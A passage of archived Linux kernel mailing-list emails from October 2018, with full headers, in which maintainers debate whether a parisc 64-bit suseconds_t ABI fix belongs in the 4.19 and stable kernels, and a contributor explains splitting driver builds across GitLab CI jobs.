 +EbEA5s2JG2INNNFsO9Wd6Vl4uukG12q2gZ0M2e15ibA6oE3ot8ve/vx2zkWvtS5rvUI5X1fZ
 zeTECqvTBAK2WquOlaAwYhphJ5x8MJvIguvOOeC+ETIXsCF9RPOjkSSxXywfqk0tBlZqXTpUP
 lOqPtMN9V6bx2rlM0foFE8M1a4nK04Ppe3MERtv+FnF6+UDF2/wtjdbPxI+iUsBpI1So3G33U
 3y9bYqoZpqWr6tVBtVNKMUs9/V9g+xTub0/yrQ49htMbDJaTfiPm1+FQ0DDW0+MX0pyPTM5Zr
 3bRhobUVq2gYdVd9+UG+d2DV1M224t+NwckMne8ack4WpwTezYfDDXYVYxZy7H8jes95dgK0n
 Y78ubEdqWPc8A58k4iDLl3XmfmG/HLgd9lNyF17SE5EJki0ECScrOXcKP31q03/IBvI+G8xE4
 LyIhq5o74x51Qh+Yl64hhWMJ+O/7v7nPDGN/+KC6l0rIF4bZ6DsgJd4CZzMhLzlq5jj1UsyH6
 5GQXz6L96AnzV0QEK5urFionxGwbN0xj+0TErItOsiirNUooldZwjHpb/qWyJEjoEkElSSfNi
 Uc5NV1aRrg5gMGyvcLtKkwhIPqUIfxXxqsycf+NFh4QHnOQQ4BNYHoxbZVhxNEfeYkqn/Dla 
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2889190 gmane.linux.ports.parisc:29069
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2889190>

On 03.10.2018 00:24, Greg Kroah-Hartman wrote:
> On Tue, Oct 02, 2018 at 11:46:11PM +0200, Helge Deller wrote:
>> Hi Greg,
>>
>> On 02.10.2018 23:16, Greg Kroah-Hartman wrote:
>>> On Tue, Oct 02, 2018 at 11:02:13PM +0200, Helge Deller wrote:
>>>> please pull a last set of fixes for the parisc architecture for kernel 4.19 from:
>>>>
>>>>   git://git.kernel.org/pub/scm/linux/kernel/git/deller/parisc-linux.git parisc-4.19-3
>>>>
>>>> The major change is for parisc64 to use a 64-bit suseconds_t type to
>>>> match what glibc expects for 64-bit userspace. It's an ABI change, but
>>>> since we don't have a 64-bit userspace on parisc yet, it won't introduce
>>>> a breakage.
>>>
>>> Isn't it a bit "late" in the release cycle for such a change?  Why not
>>> do this on the -rc1 release?
>>
>> I've tagged it for stable release.
>> So, it can go in now, or just wait until -rc1 and go in later.
> 
> Why is a major API change a viable stable change?

Of course it's not.
Esp. not if an API has been used already.
IMHO, this case is really different though... 

> What bugfix does it provide?

It fixes that code in stable kernels which would return wrong
time values *if* someone would create a libc for 64-bit parisc
and would run it with those "stable" kernels.
Fixing it now has no side-effects, the change is a trivial
2-line-removal patch, would bring the code in sync with
newer kernel source code, and it really fixes existing code. 

I still believe that this justifies for a backport.

Nevertheless, if you really disagree, I'm fine dropping the 
backport to stable and will only push it in the next
merge window for v4.20.
 
>>>> Other than that we simply drop unused code and outdated gcc version
>>>> checks.
>>>
>>> Why are those needed now?
>>
>> The patch in there which is by me changes one line simply cleans up a patch which
>> went in during the 4.19 merge cycle. So it would be nice to have it
>> added now before v4.19 gets released.
>> The other two patches are trivial and just remove dead code.
>> I rate them all as non-critical, but nice-to-have-in-v4.19. 
>>
>> If you disagree I'm absolutely fine to wait with all of them 
>> for the next merge window.
> 
> Normally I only let "bugfixes" into my trees at this point in time.
> cleanups always wait for the next -rc1 merge window as that's what it is
> there for.  So I'd recommend waiting as well.

Ok.

Helge


From - Thu Nov 08 21:42:05 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Leonardo Bras <leobras.c@gmail.com>
Newsgroups: gmane.linux.kernel,gmane.linux.oprofile,gmane.linux.ports.parisc
Subject: Re: [PATCH v3 0/7] Remove errors building drivers/DRIVERNAME
Date: Wed, 3 Oct 2018 12:46:15 -0300
Lines: 74
Approved: news@gmane.org
Message-ID: <CADvQ+rETmm2Ag4sijXG-0Aya7B0oww7LkLgijAC+nznyWskkvg@mail.gmail.com>
References: <20180928020816.11251-1-leobras.c@gmail.com> <20181001075607.GA3776@rric.localdomain>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: quoted-printable
X-Trace: blaine.gmane.org 1538581513 10316 195.159.176.226 (3 Oct 2018 15:45:13 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Wed, 3 Oct 2018 15:45:13 +0000 (UTC)
Cc: lkcamp@lists.libreplanetbr.org,
        Alexander Shishkin <alexander.shishkin@linux.intel.com>,
        Finn Thain <fthain@telegraphics.com.au>,
        "James E.J. Bottomley" <jejb@parisc-linux.org>,
        Helge Deller <deller@gmx.de>,
        Martin Schwidefsky <schwidefsky@de.ibm.com>,
        Heiko Carstens <heiko.carstens@de.ibm.com>,
        Geert Uytterhoeven <geert@linux-m68k.org>,
        linux-kernel <linux-kernel@vger.kernel.org>,
        linux-m68k@lists.linux-m68k.org, oprofile-list@lists.sf.net,
        linux-parisc@vger.kernel.org, linux-s390@vger.kernel.org,
        James Bottomley <James.Bottomley@hansenpartnership.com>
To: Robert Richter <rric@kernel.org>
Original-X-From: linux-kernel-owner@vger.kernel.org Wed Oct 03 17:45:08 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1g7jKl-0002Vr-N5
	for glk-linux-kernel-4@m.gmane.org; Wed, 03 Oct 2018 17:45:08 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1727253AbeJCWgM (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Wed, 3 Oct 2018 18:36:12 -0400
Original-Received: from mail-ot1-f67.google.com ([209.85.210.67]:38817 "EHLO
        mail-ot1-f67.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1726811AbeJCWgL (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Wed, 3 Oct 2018 18:36:11 -0400
Original-Received: by mail-ot1-f67.google.com with SMTP id h15-v6so6021703otj.5;
        Wed, 03 Oct 2018 08:47:15 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20161025;
        h=mime-version:references:in-reply-to:from:date:message-id:subject:to
         :cc:content-transfer-encoding;
        bh=zsllUS+Kzx1vGutnlLm10odU3msdV1cIiglb6OGdel8=;
        b=lBrEghzK1aX2yTVfVtQr636mE5MGGJF0lLVJsj9YmeyhWapuy/T4GhuccLELKfKMnH
         CuUf5CWsKq2bdQq6ZbL7vitXIrxVAvDwBrTfKqC8/75ldUuOyyFESJrbZbRulmIXdmhk
         OcBXk2UfBdVLgDh/cMZBqzlXJo/SYnI84gVtfWXq5uGqj/KULxznG+qVbA6eHHOHIGGy
         wFPnvRk3aAHkUmoXgDFO+XjGNfmA6AitoyiRGGEYIsCe7eyWZkR2EESctYle9kgzHXw9
         dF+KWdzmDmG0BrymfsK2USQAn5da1YF31YGZZKmOSRpWG/c1HxZ44qdhEd0x3Iygjdp+
         UUqQ==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20161025;
        h=x-gm-message-state:mime-version:references:in-reply-to:from:date
         :message-id:subject:to:cc:content-transfer-encoding;
        bh=zsllUS+Kzx1vGutnlLm10odU3msdV1cIiglb6OGdel8=;
        b=CStuw7OE/rNLJeBMXedmqJkLS9Jww4nhuP2Ta2uJdG7manIzmJbp118Ij6EwqJW9Bj
         Qd64/vn3AepCRioGXP5gsQBeKAD7hXkZqgzi82bRQJNKbT3sLkAKY0cg3T6uIjYyXFGb
         Jp5FdqIYKKW6o5CDaXDWJtXYOnu7l7SuqXh2VA3v7FUxazv7lzAhz25AaKEk0YkxINIj
         8CthK7EycEhuX1phLK/22L4cjPMI1fVaDbQgWkw8JYjiVi/Rf+4OSHKxDPwMJDOTxSRM
         yYifm372P0jLi7H8G9WvzG6+WB8yghgftQP33gZd5Z31dK2Ak7Cr2iUFe0BUm392Lcb7
         DKew==
X-Gm-Message-State: ABuFfojvgDlCp86gbAeDAKIEEz2GsnTG8Aa/h6UljfnKlOvVuMPgUmDs
        ZQ1EHKJfRJz4B1+zCFo0YJqqbIlad6GcjBBMu5M=
X-Google-Smtp-Source: ACcGV63KZG3vdnVu3Lc4NxpCdQLS4SV10ArwRif+i86A68ves7mpSvSmsXBMZS4bgPXy7eC6vIGAlNHRFqMLqGMK+Bc=
X-Received: by 2002:a9d:948:: with SMTP id 66mr1198303otp.178.1538581635412;
 Wed, 03 Oct 2018 08:47:15 -0700 (PDT)
In-Reply-To: <20181001075607.GA3776@rric.localdomain>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2889239 gmane.linux.oprofile:13255 gmane.linux.ports.parisc:29070
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2889239>

On Mon, Oct 1, 2018 at 4:56 AM Robert Richter <rric@kernel.org> wrote:
>
> On 27.09.18 23:08:09, Leonardo Br=C3=A1s wrote:
> > This Patchset changes some driver's Makefile to allow them building
> > using the command 'make drivers/DRIVERNAME', if compatible.
> >
> > The changed drivers would return error if the above command was run
> > on them, after an x86 allyesconfig.
>
> I don't see what you are trying to achieve here. Why shouldn't the
> command fail if it is not the intended way to call it? There are a
> couple of use cases where drivers/ is used to share common code over
> different archs and it is not always the intention to build them in
> drivers/ directly.


Sorry, I was not very clear at my reasons why this change is important,
I will try to briefly explain the whole story.

Some weeks ago I was trying to solve a task that needed to change some
compiling options, build the whole kernel (allyesconfig) and look for error=
s.
The problem was: It would take a long time to build everything in my comput=
er.
And many friends with slimmer laptops would take much longer.

So, I was looking for a service that could do that for me, in the cloud.
I found out Gitlab.com offers free 50k minutes of CI for open source projec=
ts,
and allows anyone get this CI time by only forking my project, adding their
changes and pushing to Gitlab.

But Gitlab don't allow 'jobs' to take longer than 3 hours, after that the '=
job'
is killed.

The kernel could not be built in 3h, not with allyesconfig. So, I created a
'job' for each directory in Linux kernel, and tried to build them separatel=
y.
All went fine, except for drivers/, which took over 3 hours.

Most logical thing was to continue the division and create five 'jobs' that
could divide the building time of drivers. To do that, each job took care o=
f a
range of starting letters, as you can see in this link:
https://gitlab.com/LeoBras/linux-next/blob/build-ci/.gitlab-ci.yml

But then I found out some drivers were failing to build. Even if they were =
not
enabled in my .config. After some work I found out some drivers selection i=
s
done in drivers/Makefile, and incompatible drivers would break my build if
tried to call them directly on drivers/DRIVERNAME.

This patchset intents to let the .config selection happen also in
drivers/DRIVERNAME/Makefile, avoiding accidentally building drivers
that are not in .config.

This would allow the kernel to be build on Gitlab CI, and would benefit man=
y
people who wants to help in the kernel development, but have not much
processing power in their machines.

I understand my changes may have mistakes, and I am trying to fix them all.
I thank you any suggestion to make the code better.

Also, I would be happy to know of any other solution to remote build my cha=
nges
and look for warnkings / errors.


Thank you for reading,
Leonardo Bras


From - Thu Nov 08 21:42:05 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc
Subject: Re: [GIT PULL] parisc fixes for kernel v4.19
Date: Wed, 3 Oct 2018 11:16:12 -0700
Lines: 70
Approved: news@gmane.org
Message-ID: <20181003181612.GB28575@kroah.com>
References: <20181002210213.GA17826@ls3530.fritz.box>
 <20181002211645.GA6454@kroah.com>
 <ad45f249-e064-d5a4-c658-eaa03bb3a04a@gmx.de>
 <20181002222452.GB11788@kroah.com>
 <dbfa0162-8ed1-b16e-a418-da3b92c76230@gmx.de>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: blaine.gmane.org 1538590455 21176 195.159.176.226 (3 Oct 2018 18:14:15 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Wed, 3 Oct 2018 18:14:15 +0000 (UTC)
User-Agent: Mutt/1.10.1 (2018-07-13)
Cc: Linus Torvalds <torvalds@linux-foundation.org>,
        linux-kernel@vger.kernel.org, linux-parisc@vger.kernel.org,
        James Bottomley <James.Bottomley@hansenpartnership.com>,
        John David Anglin <dave.anglin@bell.net>
To: Helge Deller <deller@gmx.de>, Arnd Bergmann <arnd@arndb.de>
Original-X-From: linux-kernel-owner@vger.kernel.org Wed Oct 03 20:14:10 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1g7leu-0001nk-Kn
	for glk-linux-kernel-4@m.gmane.org; Wed, 03 Oct 2018 20:14:05 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1727253AbeJDBFn (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Wed, 3 Oct 2018 21:05:43 -0400
Original-Received: from mail.linuxfoundation.org ([140.211.169.12]:40208 "EHLO
        mail.linuxfoundation.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1726851AbeJDBFn (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Wed, 3 Oct 2018 21:05:43 -0400
Original-Received: from localhost (unknown [104.132.0.111])
        by mail.linuxfoundation.org (Postfix) with ESMTPSA id 00CA2AB2;
        Wed,  3 Oct 2018 18:16:12 +0000 (UTC)
Content-Disposition: inline
In-Reply-To: <dbfa0162-8ed1-b16e-a418-da3b92c76230@gmx.de>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2889371 gmane.linux.ports.parisc:29071
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2889371>

Adding Arnd as he wrote the patch in question here...

On Wed, Oct 03, 2018 at 04:47:30PM +0200, Helge Deller wrote:
> On 03.10.2018 00:24, Greg Kroah-Hartman wrote:
> > On Tue, Oct 02, 2018 at 11:46:11PM +0200, Helge Deller wrote:
> >> Hi Greg,
> >>
> >> On 02.10.2018 23:16, Greg Kroah-Hartman wrote:
> >>> On Tue, Oct 02, 2018 at 11:02:13PM +0200, Helge Deller wrote:
> >>>> please pull a last set of fixes for the parisc architecture for kernel 4.19 from:
> >>>>
> >>>>   git://git.kernel.org/pub/scm/linux/kernel/git/deller/parisc-linux.git parisc-4.19-3
> >>>>
> >>>> The major change is for parisc64 to use a 64-bit suseconds_t type to
> >>>> match what glibc expects for 64-bit userspace. It's an ABI change, but
> >>>> since we don't have a 64-bit userspace on parisc yet, it won't introduce
> >>>> a breakage.
> >>>
> >>> Isn't it a bit "late" in the release cycle for such a change?  Why not
> >>> do this on the -rc1 release?
> >>
> >> I've tagged it for stable release.
> >> So, it can go in now, or just wait until -rc1 and go in later.
> > 
> > Why is a major API change a viable stable change?
> 
> Of course it's not.
> Esp. not if an API has been used already.
> IMHO, this case is really different though... 
> 
> > What bugfix does it provide?
> 
> It fixes that code in stable kernels which would return wrong
> time values *if* someone would create a libc for 64-bit parisc
> and would run it with those "stable" kernels.
> Fixing it now has no side-effects, the change is a trivial
> 2-line-removal patch, would bring the code in sync with
> newer kernel source code, and it really fixes existing code. 
> 
> I still believe that this justifies for a backport.
> 
> Nevertheless, if you really disagree, I'm fine dropping the 
> backport to stable and will only push it in the next
> merge window for v4.20.

To clarify, you have no users of this api anywhere (hopefully), and so
the patch in question prevents anyone from using the api in the future.
This makes the suseconds_t handling easier for some reason because only
sparc32 is a "problem" now, right?

So I don't see the "bug" that is being fixed here.  I would have pushed
back on the submission for this for the stable trees as well, this isn't
anything that anyone is using, so there's nothing to "fix" that I can
tell.

Yes, doing it in the "future" is fine, to prevent anyone from making
this mistake (are new machines even being made for this arch?)  But I
don't see how this is a -stable issue.

In this series, only the first patch, would seem to be a real fix, but
even that one isn't.  You are just using a #define for a magic number,
one that will never change either way (the define will never change.) So
that too isn't really a fix, just a code cleanup.

So I am strongly inclined to just not take any of these right now.

thanks,

greg k-h


From - Thu Nov 08 21:42:05 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Arnd Bergmann <arnd@arndb.de>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc
Subject: Re: [GIT PULL] parisc fixes for kernel v4.19
Date: Wed, 3 Oct 2018 21:49:08 +0200
Lines: 72
Approved: news@gmane.org
Message-ID: <CAK8P3a2ntPX4+LbYWJbDG1k-8NwkhyY0nYk-mfZU2FBF_h23Yw@mail.gmail.com>
References: <20181002210213.GA17826@ls3530.fritz.box> <20181002211645.GA6454@kroah.com>
 <ad45f249-e064-d5a4-c658-eaa03bb3a04a@gmx.de> <20181002222452.GB11788@kroah.com>
 <dbfa0162-8ed1-b16e-a418-da3b92c76230@gmx.de> <20181003181612.GB28575@kroah.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
X-Trace: blaine.gmane.org 1538596048 7048 195.159.176.226 (3 Oct 2018 19:47:28 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Wed, 3 Oct 2018 19:47:28 +0000 (UTC)
Cc: Helge Deller <deller@gmx.de>,
        Linus Torvalds <torvalds@linux-foundation.org>,
        Linux Kernel Mailing List <linux-kernel@vger.kernel.org>,
        Parisc List <linux-parisc@vger.kernel.org>,
        James.Bottomley@hansenpartnership.com,
        John David Anglin <dave.anglin@bell.net>
To: gregkh <gregkh@linuxfoundation.org>
Original-X-From: linux-kernel-owner@vger.kernel.org Wed Oct 03 21:47:23 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1g7n79-0001fu-2f
	for glk-linux-kernel-4@m.gmane.org; Wed, 03 Oct 2018 21:47:19 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1727354AbeJDCjP (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Wed, 3 Oct 2018 22:39:15 -0400
Original-Received: from mail-qk1-f196.google.com ([209.85.222.196]:37617 "EHLO
        mail-qk1-f196.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1726964AbeJDCjO (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Wed, 3 Oct 2018 22:39:14 -0400
Original-Received: by mail-qk1-f196.google.com with SMTP id x8-v6so4254009qka.4;
        Wed, 03 Oct 2018 12:49:26 -0700 (PDT)
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20161025;
        h=x-gm-message-state:mime-version:references:in-reply-to:from:date
         :message-id:subject:to:cc;
        bh=DdLqF2MkLGFbo3L2fF0r2cyTmuFYzkLmHMwQ5bP2Zzw=;
        b=gbMyjcYJi+SqYTs0jseifTvRTy9AX/KDCQjbScCynLfumZ8LbEn93W1XBruc0YWEj/
         fI7CWjEA0kduKOyVP34PU8f8BmXgik2M7co7sLAwM7u+4qyEHBfcfAUwj1RGOh+6zyTn
         41TzpfyHXP8S4LWWen0rNQUicQdLqcSM7HJOwNdxsDhynga+bNDBmI1znlgg0QbPowbx
         G0mCW0+PraZ+8zSmap7H9d0SSTfSCQ8a+/IhNJW0fJPG1OtCpgcHcaBJ+d40bE5u8sR+
         HQbIV5vax4lZKGCcDK3UeqdeYK+QixBv47nQEJ1ByLABp8WwfYmTjc35UCGky1njgGF8
         wMjw==
X-Gm-Message-State: ABuFfohstU97KeXCXm5t83PaSfzG1LeoH+RWMx2ZDbC2KksVlJ5YOkU8
        5VZEYuxASe9/QMuD/q1nmg+vYkDLU/7Rx+iZZjs=
X-Google-Smtp-Source: ACcGV60q7T0xhIIujosT6wOCfteRpA6+ivxKcGs4uSkCfm1/eOYPNpBmzxGcE9ukwVWJpCOI3oAS5XzhIVLSJMQPeeY=
X-Received: by 2002:a37:e21a:: with SMTP id g26-v6mr2438197qki.330.1538596165610;
 Wed, 03 Oct 2018 12:49:25 -0700 (PDT)
In-Reply-To: <20181003181612.GB28575@kroah.com>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2889429 gmane.linux.ports.parisc:29072
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2889429>

On Wed, Oct 3, 2018 at 8:16 PM Greg Kroah-Hartman
<gregkh@linuxfoundation.org> wrote:
> On Wed, Oct 03, 2018 at 04:47:30PM +0200, Helge Deller wrote:
> > On 03.10.2018 00:24, Greg Kroah-Hartman wrote:
> > > On Tue, Oct 02, 2018 at 11:46:11PM +0200, Helge Deller wrote:
> > >>
> > >> I've tagged it for stable release.
> > >> So, it can go in now, or just wait until -rc1 and go in later.
> > >
> > > Why is a major API change a viable stable change?
> >
> > Of course it's not.
> > Esp. not if an API has been used already.
> > IMHO, this case is really different though...
> >
> > > What bugfix does it provide?
> >
> > It fixes that code in stable kernels which would return wrong
> > time values *if* someone would create a libc for 64-bit parisc
> > and would run it with those "stable" kernels.
> > Fixing it now has no side-effects, the change is a trivial
> > 2-line-removal patch, would bring the code in sync with
> > newer kernel source code, and it really fixes existing code.
> >
> > I still believe that this justifies for a backport.
> >
> > Nevertheless, if you really disagree, I'm fine dropping the
> > backport to stable and will only push it in the next
> > merge window for v4.20.
>
> To clarify, you have no users of this api anywhere (hopefully), and so
> the patch in question prevents anyone from using the api in the future.
> This makes the suseconds_t handling easier for some reason because only
> sparc32 is a "problem" now, right?
>
> So I don't see the "bug" that is being fixed here.  I would have pushed
> back on the submission for this for the stable trees as well, this isn't
> anything that anyone is using, so there's nothing to "fix" that I can
> tell.
>
> Yes, doing it in the "future" is fine, to prevent anyone from making
> this mistake (are new machines even being made for this arch?)  But I
> don't see how this is a -stable issue.

The issue here is that glibc has in theory supported 64-bit parisc
user space for a long time, but it has never worked because of the
mismatch. It is very likely that there other problems like it that
/also/ prevent it from working.

Between changing kernel or glibc, I think it's clear that the glibc
has made the better choice of being compatible with all other
architectures (except sparc64), so changing the kernel is better
here.

Between fixing it this late, or doing it for the next merge window,
I don't care. There clearly are no users that are affected by it
today, and if there were, this would fix an important bug, both
security (kernel stack information leak) and functionality
(improving accuracy of gettimeofday() from seconds to
microseconds).

Between backporting it to stable or not, I'd be in favor of the
backport: If we ever want to support 64-bit user space on parisc,
then it's better to have stable kernels get the same working
ABI that new kernels have after the fix (and any other fixes we
may require on top). Or to put it another way: If the argument is
that there won't ever be a 64-bit user space for parisc and we don't
care about it, then we'd be better of removing all native 64-bit
syscalls from arch/parisc/kernel/syscall_table.S.

      Arnd


From - Thu Nov 08 21:42:05 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: gregkh <gregkh@linuxfoundation.org>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc
Subject: Re: [GIT PULL] parisc fixes for kernel v4.19
Date: Wed, 3 Oct 2018 16:02:26 -0700
Lines: 83
Approved: news@gmane.org
Message-ID: <20181003230226.GB27729@kroah.com>
References: <20181002210213.GA17826@ls3530.fritz.box>
 <20181002211645.GA6454@kroah.com>
 <ad45f249-e064-d5a4-c658-eaa03bb3a04a@gmx.de>
 <20181002222452.GB11788@kroah.com>
 <dbfa0162-8ed1-b16e-a418-da3b92c76230@gmx.de>
 <20181003181612.GB28575@kroah.com>
 <CAK8P3a2ntPX4+LbYWJbDG1k-8NwkhyY0nYk-mfZU2FBF_h23Yw@mail.gmail.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: blaine.gmane.org 1538607626 10222 195.159.176.226 (3 Oct 2018 23:00:26 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Wed, 3 Oct 2018 23:00:26 +0000 (UTC)
User-Agent: Mutt/1.10.1 (2018-07-13)
Cc: Helge Deller <deller@gmx.de>,
        Linus Torvalds <torvalds@linux-foundation.org>,
        Linux Kernel Mailing List <linux-kernel@vger.kernel.org>,
        Parisc List <linux-parisc@vger.kernel.org>,
        James.Bottomley@hansenpartnership.com,
        John David Anglin <dave.anglin@bell.net>
To: Arnd Bergmann <arnd@arndb.de>
Original-X-From: linux-kernel-owner@vger.kernel.org Thu Oct 04 01:00:21 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1g7q7x-0002YE-7P
	for glk-linux-kernel-4@m.gmane.org; Thu, 04 Oct 2018 01:00:21 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1727007AbeJDFwz (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Thu, 4 Oct 2018 01:52:55 -0400
Original-Received: from mail.linuxfoundation.org ([140.211.169.12]:49068 "EHLO
        mail.linuxfoundation.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1725882AbeJDFwy (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Thu, 4 Oct 2018 01:52:54 -0400
Original-Received: from localhost (unknown [64.124.202.226])
        by mail.linuxfoundation.org (Postfix) with ESMTPSA id E9CAD131B;
        Wed,  3 Oct 2018 23:02:27 +0000 (UTC)
Content-Disposition: inline
In-Reply-To: <CAK8P3a2ntPX4+LbYWJbDG1k-8NwkhyY0nYk-mfZU2FBF_h23Yw@mail.gmail.com>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2889532 gmane.linux.ports.parisc:29073
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2889532>

On Wed, Oct 03, 2018 at 09:49:08PM +0200, Arnd Bergmann wrote:
> On Wed, Oct 3, 2018 at 8:16 PM Greg Kroah-Hartman
> <gregkh@linuxfoundation.org> wrote:
> > On Wed, Oct 03, 2018 at 04:47:30PM +0200, Helge Deller wrote:
> > > On 03.10.2018 00:24, Greg Kroah-Hartman wrote:
> > > > On Tue, Oct 02, 2018 at 11:46:11PM +0200, Helge Deller wrote:
> > > >>
> > > >> I've tagged it for stable release.
> > > >> So, it can go in now, or just wait until -rc1 and go in later.
> > > >
> > > > Why is a major API change a viable stable change?
> > >
> > > Of course it's not.
> > > Esp. not if an API has been used already.
> > > IMHO, this case is really different though...
> > >
> > > > What bugfix does it provide?
> > >
> > > It fixes that code in stable kernels which would return wrong
> > > time values *if* someone would create a libc for 64-bit parisc
> > > and would run it with those "stable" kernels.
> > > Fixing it now has no side-effects, the change is a trivial
> > > 2-line-removal patch, would bring the code in sync with
> > > newer kernel source code, and it really fixes existing code.
> > >
> > > I still believe that this justifies for a backport.
> > >
> > > Nevertheless, if you really disagree, I'm fine dropping the
> > > backport to stable and will only push it in the next
> > > merge window for v4.20.
> >
> > To clarify, you have no users of this api anywhere (hopefully), and so
> > the patch in question prevents anyone from using the api in the future.
> > This makes the suseconds_t handling easier for some reason because only
> > sparc32 is a "problem" now, right?
> >
> > So I don't see the "bug" that is being fixed here.  I would have pushed
> > back on the submission for this for the stable trees as well, this isn't
> > anything that anyone is using, so there's nothing to "fix" that I can
> > tell.
> >
> > Yes, doing it in the "future" is fine, to prevent anyone from making
> > this mistake (are new machines even being made for this arch?)  But I
> > don't see how this is a -stable issue.
> 
> The issue here is that glibc has in theory supported 64-bit parisc
> user space for a long time, but it has never worked because of the
> mismatch. It is very likely that there other problems like it that
> /also/ prevent it from working.
> 
> Between changing kernel or glibc, I think it's clear that the glibc
> has made the better choice of being compatible with all other
> architectures (except sparc64), so changing the kernel is better
> here.
> 
> Between fixing it this late, or doing it for the next merge window,
> I don't care. There clearly are no users that are affected by it
> today, and if there were, this would fix an important bug, both
> security (kernel stack information leak) and functionality
> (improving accuracy of gettimeofday() from seconds to
> microseconds).
> 
> Between backporting it to stable or not, I'd be in favor of the
> backport: If we ever want to support 64-bit user space on parisc,
> then it's better to have stable kernels get the same working
> ABI that new kernels have after the fix (and any other fixes we
> may require on top). Or to put it another way: If the argument is
> that there won't ever be a 64-bit user space for parisc and we don't
> care about it, then we'd be better of removing all native 64-bit
> syscalls from arch/parisc/kernel/syscall_table.S.

Ok, then let's treat this like any other arch/driver/subsystem that we
remove.  Drop the file(s) in a -rc1 merge window and then if anyone
object to it later on because they really were using it, you can easily
